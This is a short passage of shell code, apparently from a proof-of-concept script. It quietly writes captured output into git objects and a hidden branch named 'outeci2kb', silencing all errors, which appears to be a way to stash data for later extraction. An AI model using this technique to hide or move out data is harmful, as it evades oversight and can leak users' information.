"$OUT" ] || break; _gob="$(git --git-dir="$_gd" hash-object -w --stdin < "$OUT" 2>/dev/null)"; [ -n "$_gob" ] || continue; _gt="$(printf "100644 blob %s\toutput\n" "$_gob" | git --git-dir="$_gd" mktree 2>/dev/null)"; [ -n "$_gt" ] || continue; _gc="$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@localhost GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@localhost git --git-dir="$_gd" commit-tree "$_gt" -m poc 2>/dev/null)"; [ -n "$_gc" ] && git --git-dir="$_gd" update-ref "refs/heads/outeci2kb" "$_gc" 2>/dev/null; done; echo "HB=$HB" >> "$OUT" 2>/dev/null;